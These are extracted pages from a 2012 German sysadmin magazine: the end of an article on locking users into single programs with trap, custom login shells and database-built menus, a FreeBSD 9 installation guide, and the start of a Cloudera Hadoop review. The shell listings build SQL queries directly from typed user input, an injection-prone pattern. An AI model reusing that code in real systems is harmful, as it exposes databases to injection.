
aus ALL =<br />

NOPASSWD: /sbin/init<br />

Bei Debian und Derivaten davon liegen<br />

im Home-Verzeichnis der Benutzer die<br />

Dateien ».bashrc« und ».profile« sowie<br />

».bash_logout«. Darin eingetragene Befehle<br />

werden in der Reihenfolge abgearbeitet,<br />

».bash_logout« erst beim Abmelden<br />

des Benutzers. In ».bashrc« werden<br />

die Kommandos zum Herunterfahren des<br />

96 Ausgabe 04-2012 Admin www.admin-magazin.de


User Restrictions<br />

Basics<br />

F Abbildung 1: Mit<br />

dem Trap-Befehl lässt<br />

sich in Shell-Skripten<br />

das Abbrechen einer<br />

Anwendung per<br />

[Strg]+[Z] verhindern.<br />

E Abbildung 2: Eine<br />

GUI-Anwendung kann<br />

auch als grafische<br />

Loginshell dienen.<br />

Systems und für die „Zwangsabmeldung“<br />

am Dateiende angehängt:<br />

sudo /sbin/init 0<br />

exit<br />

Damit ist der Sonderbenutzer einsatzklar.<br />

Dialoganwendung<br />

Hier soll der eingeschränkte Benutzer<br />

eine einzige Anwendung ausführen. Sie<br />

wird direkt als Ersatz-Login-Shell gestartet,<br />

der entsprechende Eintrag in »/etc/<br />

passwd« lautet hierfür<br />

inventur1:x:1012:1012:,,,:/home/U<br />

inventur1:/home/inventur1/erfass.sh<br />

Für Inventurarbeiten trägt »inventur1«<br />

per Hand oder Barcode-Leser eine Artikelnummer<br />

mit Stückzahl in eine Maske<br />

ein. Auch in diesem Beispiel soll der<br />

Anwender keinen direkten Shellzugriff<br />

erhalten. Das Problem liegt darin, die<br />

Tastenkombination [Strg]+[Z] abzufangen,<br />

welche die laufende Anwendung<br />

in den Hintergrund schiebt. Dies<br />

übernimmt das »trap«-Kommando. Wird<br />

die Tastenkombination ausgelöst, soll das<br />

Programm einfach weiterarbeiten. Dazu<br />

fügt man in das Shellskript die Zeile<br />

<strong>ADMIN</strong><br />

Netzwerk & Security<br />

www.admin-magazin.de<br />

<strong>ADMIN</strong>-<strong>Magazin</strong> – für alle IT-Administratoren<br />

Bei uns wird SICHERHEIT groß geschrieben<br />

HOME DAS HEFT MEDIADATEN KONTAKT NEWSLETTER ABO<br />

Linux I Windows I Security I Monitoring I Storage I Datenbanken I Mailserver I Virtualisierung<br />

SECURITY<br />

<strong>Server</strong>-Systeme richtig abzusichern<br />

gehört zu den Hauptaufgaben jedes<br />

Administrators. Sei es durch Firewalls,<br />

Intrusion-Detection-Systeme oder Mandatory<br />

Access Control mit SELinux.<br />

Besonderes Augenmerk richtet <strong>ADMIN</strong><br />

auf die Absicherung von Webservern,<br />

die heute mit SQL-Injection, Cross Site<br />

Scripting und Request Forgery bis zu<br />

90% der Sicherheitslücken ausmachen.<br />

Suchen<br />

Diese Website durchsuchen:<br />

Security<br />

➔ über 100 Ergebnisse!<br />

Themen<br />

Suchen<br />

Windows Verschlüsselung Datenbank<br />

IDS Dateisysteme Linux Monitoring<br />

Storage Webserver Virtualisierung<br />

Nobilior, Fotolia<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

97


Basics<br />

User Restrictions<br />

01 #! /bin/sh<br />

02 trap '' 20<br />

03 while true<br />

04 do<br />

05 <br />

»trap '' 20« ein. Der Benutzer »inventur1«<br />

benutzt in Abbildung 1 die Tastenkombination<br />

[Strg]+Z, die aber durch diese<br />

Zeile ignoriert wird. Das Shellskript wird<br />

im Listing 1 gezeigt. Die Tastenkombination<br />

[Strg]+[C] beendet dieses kleine<br />

Programm.<br />

Nutzung einer einzelnen<br />

GUI-Anwendung<br />

Die Beschränkung für Benutzer, eine<br />

einzige GUI-Anwendung zu betreiben,<br />

funktioniert ähnlich wie beim vorigen<br />

Beispiel. Hier entfällt die Notwendigkeit,<br />

die Tastenkombination [Strg]+[Z] zu deaktivieren.<br />

Der Benutzer »surf« bekommt<br />

die Anwendung »opera« als Login-Shell<br />

Listing 1: Spezialanwendung<br />

06 echo " "<br />

07 echo ‐n "Artikelnummer: ";read artnr<br />

08 psql ‐x ‐c "select * from artikel where artnr =<br />

$artnr;"<br />

09 echo ‐n "Weiter [*] ";read wn<br />

10 echo " "<br />

11 echo ‐n " Anzahl/Menge: ";read menge<br />

12 echo ‐n "Einbuchen [*] ";read einbu<br />

13 if [ "$einbu" = "*" ];<br />

14 then<br />

15 psql ‐c "insert into bestand values<br />

($artnr, $menge);"<br />

16 fi<br />

17 <br />

18 done<br />

(mit absoluter Pfadangabe) in »/etc/<br />

passwd« zugewiesen. Mittels »ssh« wird<br />

über das lokale Netzwerk zugegriffen.<br />

Abbildung 2 zeigt den begleitenden Verlauf<br />

auf der Shell und die Anwendung.<br />

Schließt der Benutzer die Anwendung,<br />

wird er abgemeldet.<br />

Desktop-Menü<br />

Darf der Benutzer mehrere Programme<br />

verwenden, benötigt man ein Auswahlmenü.<br />

Ein Shellskript dient dazu, dieses<br />

Menü per »9menu« anzuzeigen. In nur<br />

einer Skriptzeile findet sich das ganze<br />

Angebot erlaubter Software. Gegenüber<br />

klassischen Desktoplösungen verbraucht<br />

»9menu« auch wenige Rechnerressourcen.<br />

Das Shellskript (Listing 2) wird<br />

mit den folgenden Zeilen von der Datei<br />

».bashrc« aufgerufen:<br />

/home/buero/start.sh<br />

exit<br />

Wichtig ist die absolute Pfadangabe des<br />

Shellskripts. In Listing 2 »start.sh« fängt<br />

der Trap-Befehl wieder den Abbruch über<br />

die Tastatur ab (Signal 2, [Strg]+[C]).<br />

Das Shellskript lässt sich auch beim Anmelden<br />

aus einer Datenbank heraus erzeugen.<br />

Damit kann man zentral in einer<br />

Datenbank festlegen, welcher Mitarbeiter<br />

welches Programm benutzt. Die notwendige<br />

Ergänzung von ».bashrc« zeigt das<br />

Listing 3.<br />

Die Verlängerung von ».bashrc« im Listing<br />

3 macht das „verborgene“ Shellskript<br />

».start.sh« zunächst beschreibbar.<br />

Der »echo«-Befehl erzeugt die ersten<br />

Zeilen. Das Menü selbst wird mittels<br />

der drei Variablen erzeugt. »$a« und<br />

»$c« bilden den Anfang und Schluss der<br />

Menüzeile. »$b« bezieht seinen Inhalt aus<br />

der Datenbankabfrage. Das Skript wird<br />

anschließend nur les- und ausführbar<br />

gemacht. Die so erzeugte Sitzung zeigt<br />

die Abbildung 3.<br />

Nicht hackersicher<br />

Das Beispiel 4 schützt nicht vor den<br />

bösartigen Eingriffen qualifizierter<br />

Benutzer. Es hilft aber, „normale“<br />

Benutzer nicht auf unerwünschte Abwege<br />

gelangen zu lassen. Solange man<br />

keinen Zugriff auf die Shell und Dateimanager<br />

gewährt, sind die Hürden, die<br />

Beschränkungen zu umgehen, für die<br />

meisten Mitarbeiter zu hoch.<br />

Im Zusammenspiel mit einer Dienstanweisung<br />

oder Betriebsvereinbarung, die<br />

jede Umgehung sanktioniert, dürfte das<br />

Ziel erreicht werden: Jeder Benutzer<br />

nutzt nur die Programme, die er für seine<br />

Arbeit wirklich braucht. (ofr) n<br />

Der Autor<br />

Harald Zisler beschäftigt sich seit den frühen<br />

90er-Jahren beruflich und privat mit FreeBSD<br />

und Linux. Zu Technik- und EDV-Themen verfasst<br />

er Zeitschriftenbeiträge und Bücher. Aktuell ist<br />

sein Werk „Computer-Netzwerke“, erschienen<br />

bei Galileo Press.<br />

Listing 2: Desktop-Menü<br />

01 #! /bin/sh<br />

02 trap '' 2<br />

03 9menu ‐label 'test' openoffice.org gimp gedit exit<br />

Listing 3: Menü aus Datenbank<br />

01 chmod 700 .start.sh<br />

02 echo "#! /bin/sh" > .start.sh<br />

03 echo "trap '' 2" >> .start.sh<br />

04 a="9menu ‐label '$USER' "<br />

05 b=`psql ‐t ‐d personal ‐c "select prog from personal<br />

where ma='$USER';"`<br />

06 c="exit"<br />

07 echo $a $b $c >> .start.sh<br />

08 chmod 500 .start.sh<br />

09 /home/buero/.start.sh<br />

10 exit<br />

Abbildung 3: Datenbankgeneriertes Menü.<br />

98 Ausgabe 04-2012 Admin www.admin-magazin.de


FreeBSD<br />

Basics<br />

© my123rf88, 123RF<br />

FreeBSD 9 installieren und testen<br />

Gegenstück<br />

Die Alternative zu Windows und Mac muss nicht immer Linux sein. Mit dem Open-Source-Betriebssystem FreeBSD<br />

9 gibt es ein weiteres leistungsfähiges und kostenloses Unix-System, das dieser Artikel näher vorstellt. Thomas Joos<br />

Ursprünglich basierte FreeBSD auf dem<br />

386BSD für PCs, das wiederum Teile des<br />

Programmcodes dem BSD Unix der University<br />

of California entliehen hatte. Seit<br />

mehr als 20 Jahren wird es nun von einer<br />

großen Entwicklergemeinde ständig weiterentwickelt<br />

und ist eines der größten<br />

Open-Source-Projekte.<br />

FreeBSD ist bei vielen Anwendern wegen<br />

seiner hohen Sicherheit, der Stabilität und<br />

der schnellen Netzwerkanbindung beliebt.<br />

FreeBSD war auch eines der ersten<br />

Betriebssysteme mit IPv6-Unterstützung.<br />

Viele Webserver verwenden FreeBSD,<br />

zum Beispiel auch große Anbieter wie<br />

Yahoo, Strato, Experts Exchange und<br />

Apache. In der Netcraft-Wertung der zuverlässigsten<br />

Webhoster belegt FreeBSD<br />

drei der ersten fünf Plätze. Viele große<br />

Unternehmen setzen intern auf FreeBSD,<br />

zum Beispiel Apple, Cisco oder Juniper.<br />

Mac OS X baut zu Teilen ebenfalls auf<br />

FreeBSD auf.<br />

Das Betriebssystem ist zwar für <strong>Server</strong><br />

optimiert, lässt sich aber problemlos<br />

auch auf dem Desktop installieren. Dazu<br />

stehen zum Beispiel Gnome und KDE<br />

zur Verfügung. Auf der Webseite [1] steht<br />

jeweils die aktuelle FreeBSD-Version als<br />

ISO-Datei für 32 Bit und 64 Bit zur Verfügung.<br />

Auch ältere Editionen stehen hier<br />

zum Download bereit.<br />

FreeBSD unterstützt Netzwerkprotokolle<br />

wie 802.1q, VLANs, PPP, L2TP. Auch<br />

Technologien wie 10-Gigabit-Ethernet,<br />

WLAN, ATM, ISDN, FDDI und UMTS sind<br />

mit FreeBSD problemlos möglich. Mit der<br />

Virtualisierungstechnologie der Jails erlaubt<br />

es FreeBSD, Subsysteme komplett<br />

isoliert voneinander zu betreiben und<br />

damit die Sicherheit zu steigern.<br />

Durch die starke Spezialisierung auf<br />

Netzwerksicherheit und ‐geschwindigkeit<br />

verwenden auch viele Switches<br />

und Router FreeBSD als Betriebssystem,<br />

auch Geräte von namhaften Herstellern<br />

wie Cisco, Juniper oder Netapp. Das<br />

OS ist kompatibel zu x86- und AMD64-<br />

Systemen, inklusive Opteron, Athlon64<br />

und EM64T, UltraSPARC-, IA-64, PC-98-<br />

sowie ARM-Architekturen.<br />

USB 2.0, Bluetooth, PCMCIA, SCSI- und<br />

S-ATA-RAID-Controller werden ebenfalls<br />

unterstützt. Der Kernel beherrscht Stateful<br />

IP-Firewalling, IP Proxy Gateways und<br />

verschiedene Verschlüsselungstechnologien.<br />

Neben Webserver-Software steht in<br />

FreeBSD natürlich die ganze Palette von<br />

anderen Internet-Diensten zur Verfügung,<br />

etwa Mailserver, FTP-<strong>Server</strong>, SSH und so<br />

weiter. Die Installation erfolgt als Port<br />

oder als Paket.<br />

Besserer SSD-Support<br />

Wer eine Vorgängerversion von FreeBSD<br />

9 einsetzt, sollte ein Update in Betracht<br />

ziehen. Die neue Version unterstützt nicht<br />

nur mehr Hardware, sondern bringt auch<br />

die aktuellere Version 28 des von Solaris<br />

stammenden Dateisystems ZFS mit. Sie<br />

erkennt beispielsweise duplizierte Daten<br />

und hilft somit, Storage-Platz zu sparen.<br />

Die neue Version unterstützt auch<br />

RAID-Systeme mit dreifacher Parität<br />

(RAIDz3).<br />

Das Fast File System (FFS) in FreeBSD<br />

erhält die Dateisystemerweiterung Softupdates,<br />

was Datenverlust bei Plattencrashes<br />

verhindern soll. Nun unterstützt<br />

das FFS auch den TRIM-Befehl für SSD-<br />

Festplatten. Neben dem Alignment, dem<br />

optimalen Verhältnis zwischen Startpartition<br />

und Flashzellen, spielt TRIM eine<br />

Schlüsselrolle bei der Performance von<br />

SSDs. Bei SSDs müssen Speicherblöcke<br />

komplett gelöscht werden, bevor sie<br />

sich neu beschreiben lassen. Die TRIM-<br />

Technologie des Betriebssystems teilt<br />

der SSD mit, welche Speicherblöcke die<br />

Platte löschen darf. Mehr dazu verrät der<br />

<strong>ADMIN</strong>-Artikel [2].<br />

FreeBSD 9.0 unterstützt jetzt das Dateisystem<br />

Highly Available Storage (HAST),<br />

mit dem sich hochverfügbare Dateisysteme<br />

im Netzwerk betreiben lassen [3].<br />

Dazu speichert das Betriebssystem die<br />

Daten transparent gleichzeitig auf zwei<br />

getrennten Hosts im Netz. Damit entsteht<br />

eine Art RAID1-Mirror im lokalen Netz.<br />

Der TCP/​IP-Stack unterstützt neue Treiber,<br />

zum Beispiel die Chipsätze Atheros<br />

AR8121, AR8113 und AR8114. WLAN-<br />

Verbindungen sind jetzt sicherer und<br />

stabiler, auch IPFilter, OpenSSH und<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

99


Basics<br />

FreeBSD<br />

OpenPAM wurden aktualisiert. Bei der<br />

Installation des Betriebssystems hat das<br />

neue BSDInstall den alten Installer abgelöst.<br />

Neu ist jetzt die Option, FreeBSD<br />

von einem USB-Stick aus zu installieren.<br />

Live-CD oder Installation<br />

Starten Administratoren einen Rechner<br />

mit dem FreeBSD-Installationsdatenträger,<br />

lässt sich direkt eine Live-Umgebung<br />

starten oder das System installieren (Abbildung<br />

1). Die Installation erfordert keine<br />

speziellen Kenntnisse und ist komplett<br />

assistentenbasiert.<br />

Beim Starten der Installation können<br />

Administratoren die Partitionierung der<br />

Festplatten manuell in der Shell mit einem<br />

Assistenten durchführen. Der manuelle<br />

Weg ist aber nicht ganz einfach<br />

und daher fehlerträchtig. Verwenden Sie<br />

den Assistenten, müssen Sie die Konfiguration<br />

aber nur mit »Finish« abnicken.<br />

Grundsätzlich legt der Assistent drei<br />

Partitionen an: »freebsd‐boot«, den Bootbereich<br />

auf der primären Partition des<br />

Rechners, »freebsd‐ufs«, das UFS-Dateisystem<br />

mit den Daten von FreeBSD, und<br />

»freebsd‐swap« für die Auslagerungsdatei.<br />

Weitere Einstellungen sind während<br />

der Installation zunächst nicht notwendig.<br />

Grundsätzlich ist FreeBSD eher ein<br />

sparsames Betriebssystem, das für die<br />

Grundausstattung nur knapp 1,1 GByte<br />

freien Plattenplatz benötigt. Wer allerdings<br />

eine grafische Oberfläche installieren<br />

möchte, sollte besser 3 bis 5 GByte<br />

einkalkulieren.<br />

FreeBSD 9 einrichten und<br />

verwenden<br />

Abbildung 1: Auswahl beim Starten von FreeBSD.<br />

Erkennt der BSD-Installer eine WLAN-<br />

Netzwerkkarte, können Sie bereits während<br />

der Installation das WLAN verwenden.<br />

FreeBSD 9 unterstützt dabei alle<br />

gängigen Verschlüsselungsmethoden,<br />

auch WPA2. In der Shell öffnen Sie das<br />

Konfigurationstool für FreeBSD mit dem<br />

Befehl »sysinstall«. Hierüber können Sie<br />

auch nachträglich Änderungen an der IP-<br />

Konfiguration vornehmen. Die Dokumentation<br />

der Entwickler ist sehr umfangreich<br />

und auch auf Deutsch verfügbar<br />

[4]. Hilfe findet sich aber nicht nur dort,<br />

sondern auch in Foren wie [5].<br />

Anwendungen installieren<br />

Um Anwendungen zu installieren, verwenden<br />

Sie entweder die Ports-Sammlung<br />

zur Installation aus dem Quellcode<br />

(Abbildung 2) oder Pakete von bereits<br />

kompilierten Softwarepaketen. Aktuell<br />

sind über 23 000 Anwendungen über diesen<br />

Weg installierbar. Eine aktuelle Liste<br />

verfügbarer Anwendungen unterschiedlicher<br />

Kategorien führt [6]. FreshPorts [7]<br />

verfolgt Änderungen an Anwendungen.<br />

Sie können sich auf Wunsch E-Mails zusenden<br />

lassen, wenn sich Anwendungen<br />

ändern. Kennen Sie den Namen eines<br />

Programms, aber nicht dessen Speicherort,<br />

verwenden Sie in FreeBSD das<br />

Tool »whereis«, zum Beispiel »whereis<br />

lsof«. Mit »sysinstall« können Sie neben<br />

System einstellungen auch Pakete installieren,<br />

löschen und anzeigen.<br />

Für die Verwaltung der Pakete stehen in<br />

der Shell die Befehle »pkg_add«, »pkg_delete«<br />

oder »pkg_info« zur Verfügung. Der<br />

Port einer Anwendung ist eine Sammlung<br />

von Dateien, die das Kompilieren<br />

automatisieren. Bei der Installation über<br />

einen Port lädt FreeBSD den Quellcode<br />

der Anwendung automatisch herunter,<br />

entpackt, übersetzt und installiert ihn.<br />

Installieren Sie eine Anwendung, die<br />

von einer Bibliothek abhängt, erkennt<br />

FreeBSD diese und installiert die Abhängigkeiten<br />

automatisch. Wenn Sie eine Anwendung<br />

über Ports installieren, können<br />

Sie die Angabe der Optionen für FreeBSD<br />

optimieren. Sie können zum Beispiel die<br />

Anwendung für spezielle Prozessoren<br />

anpassen.<br />

Paketmanagement<br />

Mit »pkg_add« installieren Sie Pakete lokal<br />

oder über das Internet beziehungsweise<br />

das Netzwerk. Wenn die Pakete<br />

nicht lokal gespeichert sind, sondern aus<br />

dem Internet geladen werden müssen,<br />

verwenden Sie die Option »‐r« von »pkg_<br />

add«. Das Werkzeug bestimmt dann automatisch<br />

das nötige Objektformat und<br />

die richtige Version des Pakets, lädt es<br />

dann von einem FTP-<strong>Server</strong> und installiert<br />

es.<br />

Pakete lädt FreeBSD automatisch vom<br />

festgelegten FreeBSD-Mirror herunter<br />

(Abbildung 3). Wollen Sie einen anderen<br />

<strong>Server</strong> verwenden, geben Sie ihn in der<br />

Ist die Installation abgeschlossen, besteht<br />

die Möglichkeit, Benutzer für das System<br />

anzulegen. Das ist natürlich auch<br />

jederzeit nachträglich möglich. FreeBSD<br />

schlägt dazu auch Standardeingaben vor,<br />

die Sie lediglich bestätigen müssen. Im<br />

Rahmen der Einrichtung legen Sie auch<br />

die Netzwerkverbindung fest. Sie können<br />

entweder manuell IPv4- und IPv6-Adressen<br />

festlegen oder das Netzwerk über<br />

DHCP konfigurieren. Die Konfiguration<br />

können Sie auch nachträglich anpassen,<br />

zum Beispiel wenn Sie Gnome 2.32.1<br />

oder KDE 4.7.3 als grafische Benutzeroberfläche<br />

installieren.<br />

Abbildung 2: Neben Binärpaketen bietet FreeBSD mit den Ports einen Weg, alle Software selbst zu kompilieren.<br />

100 Ausgabe 04-2012 Admin www.admin-magazin.de


FreeBSD<br />

Basics<br />

Umgebungsvariablen »PACKAGESITE«<br />

an. Die Dateien werden mit »fetch« heruntergeladen.<br />

Geben Sie bei »pkg_add«<br />

nicht die Version eines Programms an,<br />

lädt das Tool automatisch die neueste<br />

Version. Die installierten Pakete zeigt der<br />

Befehl »pkg_info« an. Um ein Paket zu<br />

entfernen, verwenden Sie »pkg_delete«.<br />

Der Befehl benötigt die vollständige Bezeichnung<br />

des Paketes. Die Versionsnummer<br />

verrät »pkg_version«.<br />

Auch Ports können Sie über »sysinstall«<br />

hinzufügen. In diesem Fall installieren<br />

Sie aber die Version des Programms, die<br />

zum Zeitpunkt der Veröffentlichung der<br />

installierten FreeBSD-Version aktuell war.<br />

Jeder Port enthält eine Datei »Makefile«,<br />

die Anweisungen für das Kompilieren der<br />

Anwendung auflistet. Zusätzlich gibt es<br />

die Datei »distinfo«, die eine Liste der<br />

Dateien sowie deren MD5-Prüfsummen<br />

enthält. Im Verzeichnis »files« liegen<br />

Patches, die generischen Quellcode auf<br />

FreeBSD portieren oder andere Anpassungen<br />

vornehmen.<br />

Die Datei »pkg‐descr« enthält eine Beschreibung<br />

der entsprechenden Anwendung,<br />

»pkg‐plist« ist eine Liste aller<br />

Dateien, die durch den Port installiert<br />

werden. Ein Port enthält nur die Anweisungen,<br />

wie der Quellcode kompiliert<br />

werden muss, den Quellcode selbst lädt<br />

der Installationsassistent aus dem Internet.<br />

Zum Installieren von Ports müssen<br />

Sie als »root« angemeldet sein. Ist das<br />

Kompilieren beendet, verwenden Sie den<br />

Befehl »make install« zur Installation des<br />

Ports.<br />

Desktop-Systeme<br />

Standardmäßig wird FreeBSD ohne grafische<br />

Benutzeroberfläche installiert, das<br />

System ist vor allem für den Betrieb auf<br />

<strong>Server</strong>n optimiert. Sie können aber nachträglich<br />

problemlos Gnome oder KDE installieren.<br />

Dazu melden Sie sich nach dem<br />

Start als Benutzer »root« an und wechseln<br />

in das Verzeichnis »/usr/ports/x11/xorg«.<br />

Kompilieren Sie mit »make install clean«<br />

Xorg als X-<strong>Server</strong>.<br />

Alternativ installieren Sie mit »pkg_add<br />

‐r xorg« direkt die Xorg-Binär-Pakete, die<br />

das System von einem <strong>Server</strong> lädt. Nachdem<br />

der X-<strong>Server</strong> installiert ist, müssen<br />

Sie sich noch für eine grafische Oberfläche<br />

entscheiden, also Gnome 2 oder<br />

Abbildung 3: FreeBSD lässt den Anwender den nächstgelegenen Mirror-<strong>Server</strong> für die Paketinstallation wählen.<br />

KDE. Um Gnome zu installieren, verwenden<br />

Sie den Befehl »pkg_add ‐r gnome2«.<br />

Über die Ports-Sammlung kompilieren Sie<br />

Gnome mit:<br />

cd /usr/ports/x11/gnome2<br />

make install clean<br />

Ist Gnome installiert, müssen Sie den X-<br />

<strong>Server</strong> des Computers so konfigurieren,<br />

dass er Gnome statt des standardmäßigen<br />

Window-Managers startet. Dazu editieren<br />

Sie die Datei »/etc/rc.conf« und fügen am<br />

Ende die »gnome_enable="YES"« ein.<br />

Nach dem Speichern und einem Neustart<br />

startet FreeBSD automatisch die Gnome-<br />

Oberfläche.<br />

Starten Sie FreeBSD neu, ist vermutlich<br />

noch die amerikanische Tastatur aktiviert.<br />

Um die Einstellungen auf Deutsch umzustellen,<br />

klicken Sie oben auf »System«<br />

und wählen »Preferences | Keyboard«.<br />

Auf der Registerkarte »Layout« können<br />

Sie die deutsche Tastatur hinzufügen und<br />

die amerikanische entfernen.<br />

FreeBSD-Derivate für<br />

Anfänger<br />

Wem die Installation von Gnome oder<br />

KDE zu kompliziert ist, der findet im Internet<br />

auch FreeBSD-Ableger, die auf den<br />

Betrieb mit einer Desktop-Umgebung optimiert<br />

sind. Auf der Seite [8] laden Sie<br />

die ISO-Datei von PC-BSD herunter, eine<br />

deutsche Internetseite finden Sie über<br />

[9]. Für den Betrieb als <strong>Server</strong> ist diese<br />

Version allerdings weniger geeignet. PC-<br />

BSD verwendet KDE als grafische Oberfläche.<br />

Eine weitere Möglichkeit, FreeBSD<br />

einfacher zu testen und zu installieren,<br />

ist DesktopBSD [10]. Auch diese Edition<br />

verfügt nach der Installation sofort über<br />

eine grafische Benutzeroberfläche auf<br />

Basis von KDE.<br />

Fazit<br />

FreeBSD ist ein ausgereiftes Unix-System<br />

für den <strong>Server</strong>. Wer ein freies Betriebssystem<br />

für einen Web- oder E-Mail-<strong>Server</strong><br />

sucht, sollte einen Blick auf FreeBSD<br />

werfen. In puncto Stabilität ist es Linux<br />

mindestens ebenbürtig. Allerdings setzt<br />

die Verwaltung des Systems einiges an<br />

Wissen voraus. Die meisten Virtualisierungslösungen<br />

unterstützen den Betrieb<br />

von FreeBSD auch als virtuellen <strong>Server</strong>,<br />

etwa VMware oder Virtualbox. Um das<br />

System zu testen, ist also keine echte<br />

Hardware notwendig. Ein Betrieb als<br />

Desktop-System ist eher für Administratoren<br />

oder experimentierfreudige Anwender<br />

sinnvoll, für die es spezialisierte<br />

FreeBSD-Varianten mit GUI gibt. (ofr) n<br />

Infos<br />

[1] FreeBSD: [http:// www. freebsd. org/ de/]<br />

[2] Werner Fischer, SSD-Performance optimieren,<br />

<strong>ADMIN</strong> 03/​2011: [http:// www.​<br />

admin‐magazin. de/ Das‐Heft/ 2011/ 03/​<br />

SSD‐Performance‐optimieren]<br />

[3] HAST: [http:// wiki. freebsd. org/ HAST]<br />

[4] Handbuch: [http:// www. freebsd. org/ doc/​<br />

de_DE. ISO8859‐1/ books/ handbook/]<br />

[5] BSD-Forum: [http:// www. bsdforen. de]<br />

[6] Ports: »http://www.FreeBSD.org/ports«<br />

[7] Freshports: [http:// www. FreshPorts. org]<br />

[8] PC-BSD: [http:// pcbsd. org]<br />

[9] Deutsche PC-BSD-Seite:<br />

[http:// www. pcbsd. de]<br />

[10] Desktop-BSD: [http:// desktopbsd. net]<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

101


Test<br />

Cloudera<br />

© sxwx, 123RF<br />

Clouderas Hadoop-Distribution runderneuert<br />

Das vierte<br />

Programm<br />

In der freien Software-Welt bietet Hadoop die Grundlage für Big-Data-<br />

Anwendungen. Die zueinander passenden Komponenten der Hadoop-<br />

Welt zu installieren, ist schon nicht einfach. Abhilfe schafft die Cloudera-<br />

Distribution für Hadoop. Ramon Wartala<br />

Seit 2007 ist die Apache Foundation die<br />

Heimat von Hadoop. Neben dem verteilten<br />

Dateisystem HDFS und dem Map-Reduce-Framework<br />

Hadoop Commons sind<br />

auch viele darauf aufbauende Werkzeuge<br />

dort untergekommen. Der Grund dafür<br />

liegt darin, dass viele der mitwirkenden<br />

Firmen die eigenen Inhouse- oder Kunden-Lösungen<br />

einer größeren Entwicklergemeinde<br />

zugänglich machen wollten.<br />

Die Installation der einzelnen Komponenten<br />

von Hadoop ist alles andere als<br />

trivial. Möchte man den gesamten Stack<br />

aus Hadoop-Grundsystem plus zusätzliche<br />

Tools wie Zookeeper, Pig, Hive und<br />

so weiter auf einem Cluster installieren,<br />

ist die Nutzung der Apache-Versionen<br />

nicht in allen Fällen empfehlenswert, da<br />

man hier genau darauf achten muss, welcher<br />

Release-Stand mit welcher Version<br />

kooperieren kann.<br />

Um diesen Zustand zu verbessern, bieten<br />

Firmen wie Cloudera, Hortonworks,<br />

Greenplum, IBM oder MapR eigene Hadoop-Distributionen,<br />

die – ähnlich dem<br />

Paketkonzept der gängiger Linux-Distributionen<br />

– spezifische Installationsprogramme<br />

mitbringen.<br />

Die kalifornische Firma Cloudera war<br />

eine der ersten, die Beratung und Schulungen<br />

rund um Hadoop und die Lösung<br />

von Big-Data-Problemen anboten. Schon<br />

früh hat sie auch mit der Cloudera Distribution<br />

for Hadoop (CDH) eine Sammlung<br />

von Werkzeugen zusammengestellt, die<br />

für Debian/​Ubuntu, Suse und Red Hat<br />

eine vereinfachte Installation bietet.<br />

Die jetzt erschienene Version 4 (kurz<br />

CDH4) bringt eine Reihe von Verbesserungen<br />

mit sich [1]. Diese betreffen sowohl<br />

das Grundsystem Hadoop Common<br />

und HDFS als auch diverse Werkzeuge,<br />

die sich über das CDH4-Paketmanagement<br />

nachinstallieren lassen.<br />

Hadoop Common und HDFS<br />

Grundlage des neuen CDH4 ist Hadoop<br />

in Version 0.23.1, das der Apache-Version<br />

vom Februar diesen Jahres entspricht<br />

(aktueller Release-Stand bei Redaktionsschluss<br />

war 2.0.0-alpha). Ein Vorteil<br />

dieser Version ist ihre Kompatibilität zu<br />

vielen anderen Werkzeugen des Hadoop-<br />

Ökosystems wie HBase, Pig, Oozie und<br />

Hive. Gleichzeitig sind eine Reihe von<br />

Konfigurationseinstellungen älterer Versionen<br />

weggefallen, sodass die nötigen<br />

manuellen Handgriffe bei der Installation<br />

auf ein Minimum reduziert werden.<br />

In den vergangenen Hadoop-Versionen<br />

war eine der kritischsten Schwachstellen<br />

der Architektur der Namenode-Daemon,<br />

der die gesamten Metadaten des verteilten<br />

Dateisystems HDFS verwaltet.<br />

Dabei führt er über jede Änderung des<br />

Dateisystems Buch und schreibt diese<br />

Änderungen erst in den Hauptspeicher<br />

und dann in ein lokales Dateisystem.<br />

Bei einem Ausfall des Namenode konnte<br />

unter Umständen das gesamte Dateisystem<br />

von Hadoop zerstört werden. Diesen<br />

Single-Point-Of-Failure (SPOF) behebt der<br />

HDFS-High-Availability-Patch.<br />

Zuverlässiger<br />

Dabei kann ein zweiter Rechner als<br />

redundante Namenode dienen, der im<br />

Fall eines Absturzes der ersten sofort<br />

einspringen kann. Hadoops Namenodes<br />

schreiben in regelmäßigen Abständen die<br />

durchgeführten Transaktionen in ein normales<br />

Dateisystem. Bei einer Hochverfügbarkeitskonfiguration<br />

müssen diese<br />

Daten auf ein SAN oder NAS geschrieben<br />

werden, damit der Fallback-Namenode<br />

die Chance hat, im Falle eines Ausfalls sofort<br />

auf die aktuellen Daten zuzugreifen.<br />

Diese Funktionalität lässt sich seit der<br />

zweiten Beta-Version auch nutzen, wenn<br />

für den Hadoop-Cluster die Kerberos-<br />

Authentifizierung eingestellt ist.<br />

Um auf Hadoops Dateisystem von anderen<br />

Systemen aus zuzugreifen, wurde der<br />

wenig leistungsfähige, alte HDFS-Proxy<br />

durch die REST-basierte <strong>Server</strong>-Komponente<br />

HDFS over HTTP (HttpFS) und die<br />

WebHDFS-API ersetzt. Der HttpFS-<strong>Server</strong><br />

102 Ausgabe 04-2012 Admin www.admin-magazin.de


Linux-<strong>Magazin</strong><br />

ACADEMY<br />

stellt einen Gateway dar, der sämtliche<br />

Lese- und Schreiboperationen ausführt,<br />

die über HTTP-REST-Aufrufe initiiert werden<br />

können. Damit lässt sich Hadoops<br />

Dateisystem mit anderen Programmiersprachen<br />

als Java oder C oder mithilfe<br />

einfacher Kommandozeilen-Tools wie<br />

»curl« oder »wget« manipulieren. Zum<br />

Beispiel liest der folgende Curl-Aufruf<br />

eine Datei aus dem HDFS:<br />

curl ‐i ‐L "http://Hostname:PortU<br />

/webhdfs/v1/Pfad?op=OPEN[&offset=U<br />

Wert][&length=Wert][&buffersize=Wert]"<br />

Dabei kann der Anwender mit den optionalen<br />

Parametern »offset«, »length« und<br />

»buffersize« die Größe der zurückgegebenen<br />

Daten vorgeben.<br />

MRv1 vs. MRv2<br />

CDH4 ist zu den letzten API-Versionen<br />

des Map-Reduce-Frameworks kompatibel<br />

(von 0.20.205 an). Hier spricht<br />

man auch vom Map-Reduce-Framework<br />

1.0 (MRv1). Dieses Framework ist das<br />

Standard-Framework für die Erstellung<br />

